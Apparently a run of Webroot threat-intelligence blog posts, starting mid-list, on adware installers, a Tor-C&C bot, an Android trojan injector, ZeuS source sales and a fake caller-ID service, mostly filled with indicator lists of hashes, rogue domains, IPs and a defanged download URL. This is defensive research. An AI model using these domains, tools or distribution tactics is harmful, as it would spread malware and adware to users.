438af7514b9e594dd158da10e70433ea MD5:
7b8af212f537381085a1b3c5705c1b39 MD5:
a3f59416f5df841195c9b16d90f648b8 MD5:
d109a16eda33c2c28eb2d4ea9756f0f2 MD5:
cef1c3188a510cba312db559866342c6 MD5:
47b8f328a8329a9ec587bdd068bf5de6 MD5:
905112ce1821326a82f18704a1383195 MD5:
fc33ac0bf70c3474c42415ef278c853f MD5:
59a4baebdc2ceb7319b63fee00ce90d0 MD5:
cc40c65faa0af75998173c2fb0cfdba5 MD5:
724cff49a55ba9cf1e9b083bfb66a827 MD5:
b8b3a545da1f2526b23cb2a6d03c7ae4 MD5:
cf2dcb2e68004b57e1042f771d206840 MD5:
aa2727dba6bc60f472d04c0aa8161747 MD5:
83c43f8544b73d0c055a31b47206dae9 MD5:
bdefcb0c16a044bf11c703fc96cef444 MD5:
658015ae6b8d279dd692224c8e83385d MD5:
3d1b822fde2521b87f987db58d3fb5b6 MD5:
de41eb4f1fb34d581f33af9f0f9ef767 MD5:

30499440bf32193d0402b26832e1bcef MD5:
5e923eb882a7c11ac478d536e57749d8 MD5:
5cf72716cba00cf3f4917edd84efca63 MD5:
74c5e06878c0078511aa7964f05f7e4b MD5:
079f1b6dd153ef8929f50d4866ec001e MD5:
21026ab5dbac341df3b9152ecfe665fd MD5:
511a23b667be0bb47fd17bba2a814c2c MD5:
78f14f83fe839f8cf51f6419665cf835 MD5:
c07607eebbfd1984ad68939e45c2f084 MD5:
c5c151614e64f38503e86550bd814c8c MD5:
17e88f4a4ec08744bb7bc99ba44df8ec MD5:
36d975016f264ef2a2126d6e382a8a08 MD5:
6e2721e8e13fb50d970de45b93563dbb MD5:
070535bae755ec97dc0aecd3a08fac28 MD5:
f2d70dff1b4df16d741d3cdea11cfb11 MD5:
bafb2861ad15ad246c82dfa776a0f2ab MD5:
28f6738ee180eda2f844e8321505f75e MD5:
07d105b52ffa608d32cbc0cdacf0c107 MD5:
2acb0a5342cf9aa26800758337692e4a MD5:
ed8e756301a17b77e79ebb8831143c79 MD5:
a021208fc741d8c2dd13007a4463ae0a MD5:
1132e040bb84dc2f19a019def6b78c9d MD5:
09b477692c95ba8fef4ee04ef8b5af2c MD5:
156303a754a238d3629773057b05d26e MD5:
fa38b307d402ae7824b9d211f67ecbe2

Known to have responded to the same IP (78.138.105.151) are also the following domains and MD5s: betterinstaller.com
bi.bisrv.com
bisrv.com
cdn.bicdn.com
download.betterinstaller.com
download.filebulldog.com
inno.bisrv.com
installer.betterinstaller.com
installer.filebulldog.com
logic.bijscode.com
nsis.bisrv.com

static.bicdn.com
static.bijscode.com
static.bisrv.com
static.frogdownload.com

MD5: 236eb0c32b0cf3a9e169b05953228dc0 MD5:
f4dfc67d98ce534f67e9b1555712d789 MD5:
ec2269d1ca28804a83d987669381dd49 MD5:
5afdab1e14d6766aa4bbce757dd5cd8e MD5:
c5fae0daace184a4de7213aaa536b97c MD5:
07cb5b6d356e2d9be7ed61060be7bc8f MD5:
105ea4b69b0974ad25d2a87b6f42257c MD5:
d5529feef9b2d16fe24713cbac281a87 MD5:
3ee49800cc3c2ce74fa63e6174c81dff MD5:
d5529feef9b2d16fe24713cbac281a87 MD5:
3ee49800cc3c2ce74fa63e6174c81dff MD5:
b061e2a27452f74226d698e1b3e124bb MD5:
38df3d10d94676f6f69574cb4bec0c40 MD5:
3967c2686efea20264bff333a935c7ba MD5:
f5cc40041780eb4c9fc814888b7a4222 MD5:
9a2336760e4ea7afa1ec95ce60fb5702 MD5:
633504a15cb41cc9a17b59c6357e84dd MD5:
1663cbfe586ea7ead04d0f66d6c5d5db MD5:
0d2a33231e3ea4377daa9aba69badc07 MD5:
73b8d78c0fc21d6b76b6741ae4f8031c MD5:
f375353f47113765a519ad499c17b5f7 MD5:
02696da461918bd98324172130947d24 MD5:
f2b968c975f27a4d2212c98ecb818912 MD5:
c73f70ad2bdec056de74e5aee8b3f9da MD5:
2da8c25cd6b6f5466b27bd815a1479a6 MD5:
be411020d35a1508a14c4695982859e8 MD5:
032351e30163424f8ef45e4a21bcba21 MD5:
40547625a1941556030d9a8a13df3423 MD5:
f4fef07d24fd8945dbfe9fef0a1613ff MD5:
302dbd61a937073e71051caf5f63799b MD5:
b39cf9b308a89caa4782f36ebbd86388 MD5:
1685085dd967edbadc28e1ffaf2e8303 MD5:
e34013c4cbb146f06fa9ac538d01cdf0 MD5:

f9d32dc05a1218671fb900da5aab5f92 MD5:
0ee7c928b7f0576ccdaaa592f6610c40 MD5:
1c6254d3a61d2ce7b3c52b632e858257 MD5:
804be90d92af3a5f9b053d2c0b5fe62f MD5:
4a2ce589f3874768f44963b4201172b7 MD5:
fe3c757c7ec11436593d75886a8f9da8 MD5:
e20dc648adb92cb3daae1da8dddea011 MD5:
eb68731c0c6d8304baada4fc022451b3 MD5:
3b36c2a34b33ceb018a2f1712ee86feb MD5:
cd89f31c76086b85055e8651ce937a41 MD5:
a58078763004a647208feded509295e0 MD5:
6599345307ddfb9d0cbff4d492527e7e MD5:
3ca6524579ea8c98581d1a8bcbeeeb11 MD5:
c202c12afaa1e0868e56b45c6bb95ffe MD5:
d2840f5995b8354cea125c34c8ddd342 MD5:
fa169fbf4483defecb52c93d514becfc MD5:
c737bf87d4a814387fe8e30d89177f95 MD5:
1d8fbd1c2687e89e376ea59f9b48aeb1 MD5:
2de265f9f1c0acd3a0b6e412ff9c6154 MD5:
f617e93309d81e1c5a5a061ce6447ce3 MD5:
9c9233d298086696bfa4cd3713586bc9 MD5:
5801e93954b2d5a99aaecc8834911fbd MD5:
9d0db90c23606bd0b73e37b2c680954a MD5:
ff37c8c76052377fd06d454817df089b MD5:
66f48eb6f0ed289825f23e8028702f5f MD5:
8b6d59e71b8e408b24221ed1daf42e56 MD5:
a75f18253d574ecf521cd9d60e123bb7 MD5:
e0b2a6b7d09dc08e09d30972046a875f MD5:
52ff95d7a160ff7d11e26cc6bda6791c MD5:
9963c22d3276caefeb5ba68f485a7dd2 MD5:
7e508cf82114f1b7a41ae4782ea83cdd MD5:
7f6b953cc12bc0ff8a7524b1f1e9d04d MD5:
1ff7f24c17becad78c4d289e251f8a7e

Despite the fact that our sensors picked up a campaign targeting German users through rogue ads, we’re also aware of multiple cases where malware-infected hosts, belonging to different botnets, are being monetized through Somoto's pay-per-install affiliate network model.

Sample screenshot of the Somoto toolbar in action:

Sample screenshot of the Somoto pey-per-install network:

Users are advised to avoid installing the rogue 'FLV Player'.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals experiment with Tor-based C&C, ring-3-rootkit empowered, SPDY form grabbing malware bot - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Keeping in pace with the latest and most widely integrated technologies, with the idea to abuse them in a fraudulent/malicious way, is an everyday reality in today's cybercrime ecosystem that continues to be **over-supplied with modified** and **commoditized** malicious software. This is achieved primarily through either leaked source code or a slightly different set of 'common' malware 'features' branded under a different name.

What are cybercriminals up to in terms of experimenting with command and control infrastructure? How are they responding to the introduction of new protocols such as, for instance, **SPDY** , embedded deep into the most popular Internet browsers? Let's find out.

In this post, I'll profile a recently advertised malware bot with **ring-3-rootkit capabilities** , DDoS features, Tor-based command and control servers, and 'upcoming' support for SPDY form grabbing – all with an emphasis on how what once use to be advanced antivirus evasion tactics applied only by sophisticated coders turned into today's commoditized malware bot features, implemented, released and sold by virtually everyone within the underground marketplace.

More details:

Sample screenshots of the commercially available bot:

According to its author, the size of a sample is usually under 70kb with every binary 'hand crafted' to avoid antivirus detection. Also, it has the de-factor anti-reverse engineering based evasive tactics embedded into it, including compression and encryption. It has the capacity to 'grab' forms from 32/64-bit Internet Explorer, Firefox and Chrome. In terms of DDoS attack tactics, the bot supports a rather modest set of functions, namely GET flood and Slowloris.

The price? $200 in Bitcoins per binary on a subscription based model, with an additional operational security (OPSEC) applied to his operation, thanks to the 'watermarking' of the executables, meaning that if one leaks, the user who leaked it will lose their license. The bot doesn't support Windows 8, with the author citing low market share.

What's particularly interesting about this underground market proposition is that its author has been keeping a live log of all the updates he's been introducing, and has since introduced. One such example — later on taken down due to a bug in the implementation reported by a user — is a Tor-based command and control server communication channel as well as upcoming support for SPDY.

Discussed at **Defcon in 2010** , Tor-based **C&C server communications** are nothing new, as we've already seen several rather **successful attempts to use them** . In this particular case, the author of the bot did try experimenting with Tor-based C&Cs, but had to temporarily disable the feature due to a bug reported by a user.

We'll continue monitoring the new features introduced in this bot, and post updates as soon as new 'innovative' features get implemented.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

How cybercriminals create and operate Android-based botnets - Webroot Blog

facebook linkedin twitter

On their way to acquire the latest and coolest Android game or application, end users with outdated situational awareness on the latest threats facing them often not only undermine the confidentiality and integrity of their devices, but also, can unknowingly expose critical business data to the cybercriminals who managed to infect their devices.

How are cybercriminals achieving this in times when Google is **automatically scanning all submissions to the Google Play store** , and is also verifying the applications to **prevent the abuse of potential installations** from untrusted third-party stores/application download locations?

Easier than you to think, especially with the recent commercial availability of a DIY Android application decompiler/injector developed to work exclusively with a publicly obtainable Android-based trojan horse.

More details:

Sample screenshot of the actual advertisement:

What this commercially available tool basically does is automatically inject a pre-configured Android trojan client into (supposedly) any Android application. The trojan will only become active following a reboot of the device, in an attempt by its author not to trigger any kind of suspicion on the infected user's end. The price for this tool is $37.

Sample screenshots of the DIY Android Trojan recommended as a default choice to use with this decompiler/injector:

The Android based trojan appears to have been coded by a group of four students for a university project.

The trojan can be activated either through a SMS or a phone call. It has the following features:

the capacity to steal an affected user’s entire address book including all the relevant contact information
get the incoming/outgoing calls history
get all the messages (SMS/MMS)
network/GPS based location tracking
real-time monitoring of incoming calls or messages
the ability to make a phone call/send messages with the user’s his Caller ID
activate the device’s microphone
initiate outgoing video streams
visit any given URL
forced vibration of the device

However, despite the cheap price and ease of use of these malicious tools, the fact that the ‘phone-back’ location of the server is hard-coded and cannot be rotated/changed on-the-fly in combination with the default choice of no-ip.org (thankfully) lead to a centralized C&C infrastructure, making it fairy easy to monitor/take down one of these Android botnets. What’s so special about no-ip.org, and how does it differentiate itself from the rest of the dynamic DNS providers? It’s the fact that it continues to occupy the top positions of the charts, highlighting **the most widely abused dynamic DNS service providers** .

What about distribution/infection vectors? There are multiple Android malware distribution scenarios worth emphasizing on, in terms of their eventual use by the cybercriminals who purchase the tool profiled in this post.

For instance, they can buy access to compromised Web servers — or directly compromise them through **DIY Google Dorks tools** — and instead of monetizing the traffic by serving client-side exploits, they can **filter and redirect all the mobile device traffic to a fraudulent/malicious Android application** . We’ve already seen and profiled a similar situation, that was affecting a popular Bulgarian Web site for watches, earlier this year. Think that no one would download a low-profile Android application from Google Play, distributed by a largely unknown developer? Think again. **Cybercriminals are already looking to buy access to verified**

Google Play accounts , whose reputation could prove crucial when distributing malware to the users who trust/recommend a particular developer.

Want to know more about the threats targeting your mobile device? Go through the '**Malicious Mobile Apps' infographic** '.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Self-propagating ZeuS-based source code/binaries offered for sale - Webroot Blog

facebook linkedin twitter

Like every ecosystem, the cybercrime ecosystem has its own set of market disrupting forces whose applicability and relevance truly shape the big picture at the end of the day. For years, cybercriminals have been porting, **localizing** (**MPack** /**IcePack** , **FirePack**) and further contributing to the the development of malware/crimeware/Web malware exploitation kits, either through direct cooperation with the original author of a particular release, **or** on **the** basis of leaked or **commercially available** source **code** .

With more **high profile malware source code leaks** continuing to take place, more cybercrime-friendly coders now have access to sophisticated antivirus detection bypassing techniques. Access to these techniques will definitely spark the introduction of “new” features within the coders’ own set of underground market releases in an attempt to catch up with the market leading competition.

Two weeks ago, we began monitoring a cybercrime ecosystem advertisement offering access to self-propagating ZeuS-based source code. It sparked several important questions in the overall context of today’s underground market – is **coding custom** malware **for hire** still a relevant monetization tactic? Do low/high profile leaks of malware source code actually allow virtually anyone with less sophisticated coding capabilities to re-purpose, brand and start selling their own malware? Or is the underground system still largely dominated by vendors ‘pushing’ their product/service strategies to meet the demand for these kinds of assets?

Let’s find out.

Sample screenshot of the source code offered for sale:

The price for the source code is between $160-$180, and between $80-$100 for the actual compiled binaries. According to its author, it’s a modified version of a private bot that, despite active testing, was never released in the wild. It can be controlled via IRC/HTTP and soon, P2P. Based on the actual advertisement, the malware spreads through RDP (Remote Desktop Protocol) exploitation, email, and Facebook. It also has its own built-in mechanism to detect/prevent researchers from interacting with it. Payment methods accepted? PayPal and Bitcoin.

What's particularly interesting about this underground market ad is that one of the community members publicly challenged the legitimacy of the proposition, as the seller doesn't use escrow services, won't offer screenshots or video demonstration, as well as the fact that the RDP (Remote Desktop Protocol) exploitation that was demonstrated to him over IRC (Internet Relay Chat) took place on hosts where the RDP ports — if any based on testing — were non-standard.

Although we believe that the ad is genuine, what's really taking place here is monetization of commoditized underground market goods, like malware source code in this case. It's also worth emphasizing on the fact that, despite the popularity of the 'malware authors need to innovate' myth among Internet users, it really doesn't need to in order to efficiently infect tens of thousands of hosts on a daily basis. Thanks to **efficient Web malware exploitation kits** and **platforms** , cybercriminals have virtually every asset at their disposal to accomplish their fraudulent or malicious objectives.

No coding skills required.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Rogue 'Free Codec Pack' ads lead to Win32/InstallCore Potentially Unwanted Application (PUA) - Webroot Blog

facebook linkedin twitter

Following last week's profile of yet another **InstallCore Potentially Unwanted Application (PUA) campaign** , we detected another rogue ad campaign this week. This time enticing E.U based users into downloading and installing a fake "Free Codec Pack", with the users sacrificing their privacy in the process due to the additional toolbars that will be installed on their PCs.

More details:

Sample screenshot of the landing page:

Based on our observations, the campaign operators use a variety of paid ads on top of the search results on some of the most popular search engines, and naturally, take advantage of market/segment targeting, only displaying them to selected audiences.

Domain name reconnaissance: bestcodecpackapp.com – 50.19.220.248; 23.21.144.61; 23.23.144.245; 174.129.22.118

Detection rate for the Potentially Unwanted Application (PUA) InstallCore – CodecPack.exe – **MD5: 2f959f5783e36e30a89f8f3ec666f16d** – detected by 7 out of 45 antivirus scanners as Win32/InstallCore.BN.Gen; Adware.InstallCore.114; Artemis!2F959F5783E3; TROJ_GEN.F47V0522.

The sample is digitally signed by 'ClickRunSoftware'.

Known rogue domains and MD5s associated with these IPs:

50.19.220.248 *anymusicconverter.com coolpdfcreator.com coolpdfreader.com extrimdownloadmanager.com extrimvideoplayer.com flvplayerpro.net greataudioconverter.com superbvideoconverter.com ultimatepdfconverter.com anymusicconverter.com bestcodecpackapp.com* *bestimageeditorfunapp.com bestringtonesmaker.com coolflvplayerfunapp.com coolpdfcreator.com coolpdfreader.com extrimdownloadmanager.com extrimvideoplayer.com flvplayerpro.net greataudioconverter.com newzipopenerfun.com superbvideoconverter.com supervideoconverterfun.com thebestimageeditorfunapp.com thenewzipopenerfun.com ultimatedownloadaccelerator.com ultimatepdfconverter.com unipdfconverter.com*

MD5: ca8d902c0a2d5a521d032fedce4eb62a
MD5: 60aa8d3f6404bee37068997930055cf9
MD5: b03f88d2b7031fd877fa5cbd40f3bd5a
MD5: 8844f4042ebc4513fa8d05fc1e94ac4c
MD5: c19669ba5bea290cf75ccc575920ddd7
MD5: ddfe802181515e68972cbd7fecfdc5ff
MD5: ff7d38d93ce069364fc485ca85b9838f
MD5: 415dfe576447e38a1e0284b1f36adc34
MD5: c7950d08e3636c5b438fb95c175878d3
MD5: 10b749474a90bf430e57c928fd2b6269
MD5: 63e6296a9d0c36b8595ad8855d65c327
MD5: 77b8f715077168c7281df5c180a3468d
MD5: aaaa1e65de1377c9761fb44bea17aec8
MD5: 9aba84d4a8f82af2ed29cfc689549c30
MD5: 9d48ba38281da77ecd6f274e63471041
MD5: 440cceeb3966389547bf5e9e9143b3f8
MD5: 666db257b8f7ac909497ff6278b908a8
MD5: bbb45e81f9fb2d30ceddc7fff977bfb9
MD5: a9856080e0f998347818a3607e44660a
MD5: 16ab52dd761db68e74df08fab5540eb3
MD5: 9f1275bb6014f15b2327a1da8c886e2a
MD5: d259693e96ebdd0397182c5da718adbc
MD5: e23d2f8043e2894d11913fea66bef13a
MD5: ed37414a84379a2828d37160f9f02c3f
MD5: 7614c78c01a947ae937abf92c237caed
MD5: 7b0b3926d5fec08eeccbe0a0b04ff06a
MD5: d6468f67adc6262e935d917af5e50ecf
MD5: e426e2148a861dce9eb9a8e9cb290989

23.21.144.61 *anymusicconverter.com coolpdfcreator.com coolpdfreader.com extrimdownloadmanager.com extrimvideoplayer.com flvplayerpro.net greataudioconverter.com superbvideoconverter.com ultimatepdfconverter.com anymusicconverter.com bestcodecpackapp.com bestimageeditorfunapp.com bestringtonesmaker.com coolpdfcreator.com coolpdfreader.com extrimdownloadmanager.com extrimvideoplayer.com flvplayerpro.net greataudioconverter.com newzipopenerfun.com superbvideoconverter.com supervideoconverterfun.com thenewzipopenerfun.com ultimatedownloadaccelerator.com ultimatepdfconverter.com unipdfconverter.com*

MD5: ca8d902c0a2d5a521d032fedce4eb62a
MD5: 60aa8d3f6404bee37068997930055cf9
MD5: 89374f7afcfe53b66c9f7ecb6b5e0f60
MD5: 6bbfc52101d05263880fac2dc876b25f
MD5: 415dfe576447e38a1e0284b1f36adc34
MD5: ddfe802181515e68972cbd7fecfdc5ff
MD5: 415dfe576447e38a1e0284b1f36adc34
MD5: ddfe802181515e68972cbd7fecfdc5ff
MD5: 4d9bf5c75fe82aae9d2261d4c6cd0e04
MD5: b9db1faf73a6e88b63f208058b6d1852
MD5: a658778da5d2629b2da96690fe477fcb
MD5: c19669ba5bea290cf75ccc575920ddd7
MD5: 1d86aa9fc5af5757d767fdb6772bfca3
MD5: a9856080e0f998347818a3607e44660a
MD5: 4f8d11493982a3640b94f51aeeba8316
MD5: aaaa1e65de1377c9761fb44bea17aec8
MD5: 9aba84d4a8f82af2ed29cfc689549c30
MD5: 7e9927c90e64cc5bee58a3449863d955
MD5: 63e6296a9d0c36b8595ad8855d65c327
MD5: 16ab52dd761db68e74df08fab5540eb3
MD5: 97de43fdf7a1fa7e99b9a9b1050a5cba
MD5: ed37414a84379a2828d37160f9f02c3f
MD5: e23d2f8043e2894d11913fea66bef13a
MD5: cb80f0ff9ed073b213c4ff5c2a157e5e
MD5: 7614c78c01a947ae937abf92c237caed

MD5: 7b0b3926d5fec08eeccbe0a0b04ff06a
MD5: d6468f67adc6262e935d917af5e50ecf
MD5: cc268ecb083e946e2b492bd7aa0b9298
MD5: 83b67161fbb39cbda423f81fc2e0f599
MD5: 6786b4cd62e0b9ebd4eccf4cbe0c3665
MD5: 0f42c320be9f7654da2040b7b36ab23f

23.23.144.245 *extrimdownloadmanager.com flvplayerpro.net superbvideoconverter.com ultimatepdfconverter.com anymusicconverter.com bestcodecpackapp.com bestimageeditorfunapp.com bestringtonesmaker.com coolflvplayerfunapp.com coolpdfcreator.com coolpdfreader.com extrimdownloadmanager.com extrimvideoplayer.com flvplayerpro.net greataudioconverter.com newzipopenerfun.com superbvideoconverter.com thebestimageeditorfunapp.com thenewzipopenerfun.com ultimatedownloadaccelerator.com ultimatepdfconverter.com unipdfconverter.com*

174.129.22.118 *anymusicconverter.com extrimdownloadmanager.com flvplayerpro.net ultimatepdfconverter.com anymusicconverter.com bestcodecpackapp.com bestimageeditorfunapp.com bestringtonesmaker.com coolflvplayerfunapp.com coolpdfcreator.com coolpdfreader.com extrimdownloadmanager.com extrimvideoplayer.com flvplayerpro.net greataudioconverter.com newzipopenerfun.com superbvideoconverter.com supervideoconverterfun.com thenewzipopenerfun.com ultimatedownloadaccelerator.com ultimatepdfconverter.com unipdfconverter.com*

We'll continue monitoring these ongoing privacy-invading campaigns serving Potentially Unwanted Applications (PUAs). Meanwhile, users are advised to avoid installing the rogue "Ultimate Codec" application.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

SIP-based API-supporting fake caller ID/SMS number supporting DIY Russian service spotted in the wild - Webroot Blog

facebook linkedin twitter

One of the most common myths regarding the emerging **TDoS (Telephony Denial of Service)** market segment, portrays a **RBN (Russian Business Network)** type of bulletproof infrastructure used to launch these attacks. The infrastructure's speculated resilience is supposed to be acting as a foundation for the increase of TDoS services and products. Fact or fiction? Keep reading.

In this post, we'll profile a **SIP-based** , API-supporting fake caller ID/SMS number supporting DIY service, and discuss its relevance in the overall increase in TDoS underground market propositions.

More details:

Sample screenshots of the service in action:

Although the featured screenshots offer a fake caller ID service verification on behalf of the cybercriminals operating the service — advertised publicly since 2011 — that's just the tip of the iceberg, due to the standardized nature of **SIP** , as well as the availability of an API allowing virtually anyone to build custom TDoS (Telephony Denial of Service) attack tools while using their infrastructure.

What's ultimately driving the rise of the **TDoS (Telephony Denial of Service)** underground market segment? Is it the existence of bulletproof infrastructure exclusively utilized for malicious and fraudulent purposes, or the **systematic abuse of legitimate infrastructure** in an attempt by the vendors of these services to blend with it in an attempt to make it harder to detect their activities?

Not surprisingly, based on our research, it's currently a combination of both, with **the abuse of legitimate services offered by SIP providers and mobile carriers** , as well as the systematic introduction of bulletproof SIP infrastructure. We believe that due to the industry's current 'catch up mode' in regard to this emerging DoS

(Denial of Service) vector, cybercriminals will continue successfully launching these attacks, utilizing both legitimate and purely malicious infrastructure, to achieve their objectives.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Rogue 'Free Mozilla Firefox Download' ads lead to 'InstallCore' Potentially Unwanted Application (PUA) - Webroot Blog

facebook linkedin twitter

Our sensors continue detecting rogue ads that expose users to bogus propositions in an attempt to install privacy-invading **Potentially Unwanted Applications (PUAs)** on their PCs. The most recent campaign consists of a successful brand-jacking abuse of Mozilla's Firefox browser, supposedly offered for free, while in reality, the rogue download manager entices users into installing multiple rogue toolbars, most commonly known as InstallCore.

More details:

Sample screenshot of the landing page:

Rogue download URL: *hxxp://www.ez-download.com/mozilla-firefox*

Detection rate for the Potentially Unwanted Application (PUA) – **MD5: 20dfcef31256c86b888b9eee0bf8be1d** – detected by 4 out of 47 antivirus scanners as Adware.InstallCore.86; Win32/InstallCore.BL; InstallCore (fs).

The rogue sample is digitally signed by 'Secure Installer'.

Once executed, it phones back to: *media.ez-download.com* – 54.230.12.193
os.downloadster2cdn.com – 54.245.235.34
cdn.secureinstaller.com – 54.230.12.162
img.downloadster2cdn.com – 199.58.87.151

Rogue domains known to have phoned back to 54.245.235.34 in the past: *os.50orcdn.com os.5oftwarescdn.com os.adsearchescdn.com os.afreecodeccdn.com os.alcoholsoftcdn.com os.allmyappscdn.com os.amazingwebtvcdn.com os.amniscdn.com os.anyprotectcdn.com os.anysendapp.com os.apponiccdn.com os.appzeuscdn.com os.baixakialtcdn.com os.baixakicdn.com os.barremagiquecdn.com* *os.barrercouterradiocdn.com os.berrycdn.com os.bestflvplayer.net os.bestvistadownloadscdn.com os.bitlordapp.com os.bitlordcdn.com os.blackscdn.com os.brsrcdn.com os.btbycdn.com os.bundlorecdn.com os.clickgratiscdn.com os.clickmeinstats.com os.computerbildcdn.com os.coolaudioconverter.com os.cooldownloadmanager.com os.coolflvplayer.com os.coolmp3converter.com os.coolpdfconverter.com os.coolringtonesmaker.com os.coolvideoconverter.com os.coolvideotomp3.com os.crossridercdn.com os.dobreprogramyplcdn.com os.downlitecdn.com os.downloadastrocdn.com os.downloadbureaucdn.com os.downloadcdn.com os.downloaddkcdn.com os.downloadfreecdn.com os.downloadhrcdn.com os.downloadmixcdn.com os.downloadster2cdn.com os.downloadstercdn.com os.downwallcdn.com os.driverguidecdn.com os.driverscoutcdn.com os.etypecdn.com os.extrimdownloadmanager.com os.fdmcdn.com os.filecartcdn.com os.fileorgcdn.com os.findmysoftcdn.com os.fixiocdn.com os.freeinternettunercdn.com os.freesocialappcdn.com os.friedcookiescdn.com os.fsucdn.com os.funmoodsapp.com os.funmoodscdn.com os.fvdconvertercdn.com os.fwt7zipcdn.com os.fwtdlmcdn.com os.fwtfreeytdlcdn.com os.fwtphotoscapecdn.com os.fwtskypecdn.com os.fwtvlcplayercdn.com os.fytdmcdn.com os.geatappscdn.com os.gimpshopcdn.com os.greatelsoftcdn.com os.howinccdn.com os.indircdn.com os.instalkiplcdn.com os.iwdownloadcdn.com os.jdownloadercdn.com os.kitaracdn.com os.lisisoftcdn.com os.maxigetcdn.com os.mediacodecscdn.com os.mediacrawlercdn.com os.mediafindercdn.com os.mensagenscomamorcdn.com os.mhotspotcdn.com os.mihovcdn.com os.miponycdn.com os.mundoconverter.com os.musicdownloadcdn.com os.mydivcdn.com os.mysearchdialcdn.com os.onedownloadspot.com os.oovoocdn.com os.pcgizmoscdn.com os.pdfconvertertool.net os.pdfperfectcdn.com os.picbadgescdn.com os.pivotstickcdn.com os.policedecriturecdn.com os.portalprogramascdn.com os.programasgratiscdn.com os.programsplcdn.com os.ptfcdn.com os.rdmsoftcdn.com os.rightclickenhancercdn.com* *os.searchyacapp.com os.sfwincleanercdn.com os.smarttweakcdn.com os.smarttweakfmrcdn.com os.smarttweakumdcdn.com os.snapfilescdn.com os.sofontescdn.com os.softmencdn.com os.softpickscdn.com os.softportalcdn.com os.softsoftcdn.com os.softsumacdn.com os.softworldcdn.com os.superdownloadsbrcdn.com os.telechargercdn.com os.todownloadcdn.com os.tudodownloadscdn.com os.ultradownloadscdn.com os.updatestarcdn.com os.uptodowncdn.com os.utorrentcdn.com os.vcgatecdn.com os.videoconvertertool.net os.vittaliacdn.com os.vndownloadcdn.com os.volarocdn.com os.winloadcdn.com os.winthemepackcdn.com os.xtremedownloadercdn.com os.yamyamcdn.com os.ytdcdn.com os.ziggicdn.com osr.afdlcdn.com osr.alcoholsoftcdn.com*

Potentially Unwanted Application MD5s known to have phoned back to the same IP (54.245.235.34) in the past: *MD5: f5916475fe4091be5f4d53e20556ceaa MD5: 73fb5d9da82eae2ed90e5c7b93aa0189 MD5: 71126329df6a888011b43ad05d7c2727 MD5: ad9dd293b1a4e5f8f5dd017fa38745a9 MD5: 20017c4b1ec0abdd93e731b034bde58f MD5: 8f0560e5dc5ac4d5183cf6fde155565a MD5: cd760186dbc5d8996e3bc65e501ebeb4 MD5: b4a57155be78a103860b0d00dfbe88c9 MD5: c18c6570ab9faaf638ca7027a6a6336e MD5: da4c1fdd47d77c7a820a2806e38a6c69 MD5: 34138101f3d0f792a1613152c821d7f9 MD5: 809bd70278b41151b2d04f7cbe397693 MD5: 195c5c15f5412e30975071e844c4b02f MD5: ef8822ac7e0414e126f05e7b5fd0333c MD5: 54346fa1b734b3cd1a9749dca763cbe1 MD5: df31c97d5f101c316a60c3cfa35ec161 MD5: 9a300d7905a51313a9a164a230c51896 MD5: 0b50815d3f068a69364d1eafe7e101a7 MD5: ec39f4de45949dbd9f77871431aa8773 MD5: 3c6300760eccf2e8fcf55d64195be3e0 MD5: 2b6a11a8ac1bbd54c09a943deca84728 MD5:*

a07bc7c6dbb36ced074ec01eddd3ae95	MD5:
c7eee95f282c66092a9ce2ee3a34609f	MD5:
b39b7ac868d234487669977c13e8d27a	MD5:
7b7518caa88433b1e320f00a798759ee	MD5:
fd666202811546c6bf37c24024c2e9ce	MD5:
ea2cbce205913c13a3ab87aaf76c693c	MD5:
3ddda0335c11d8e77a2d8e442b00f685	MD5:
e7597f4dfabf37d8abfee1754d7924a3	MD5:
12f9ed01e99d7d32a663f13072c7ca28	MD5:
9157a833b422dc419ba7a9ac419da446	MD5:
ae4a12dc3083030e9f3898c247603a55	MD5:
09ae7b426301abfe1e34a81df1fa7e62	MD5:
d4c55610e0bc9a94865fd33512f5a725	MD5:
3325808fc1716ae070c1e777e899d30a	MD5:
76b6eaa4e01d3420d068228b401ed7dc	MD5:
a5e655b6c2b86bd24133ed96e229b53e	MD5:
f159216dc7852689ee2fc94527d03bc5	MD5:
4d21728ad2b70703a9983c6d8e639bce	MD5:
90b7d8c05ba0af0e16e2149749d1b98a	MD5:
404b1cf2c76d2cfa9f5042105d769355	MD5:
ae62a4ca5b60ddcea7cb4c571282f70c	MD5:
eebabe1553b3c12f52dbc9e00b6cfc11	MD5:
0490e017ab8ec464de21f066b0bce51e	MD5:
4dcd2f26e5ecb855d9873ce1b1e3d819	MD5:
03a8be2f34049d1914f53c83a3c2ff6e	MD5:
564d452ea8298697c6152ab5b0a0e3f7	MD5:
4ec2bc0abd0821642252f334c8057ff5	MD5:
6e3bee68345ba5b92bf070407a0493f9	MD5:
9b503da09ffb44b74a843500671448e4	MD5:
bc73d186b95e9a56b79982f3e09a2142	MD5:
610779e2ea5adfee27190e174cd6f20a	MD5:
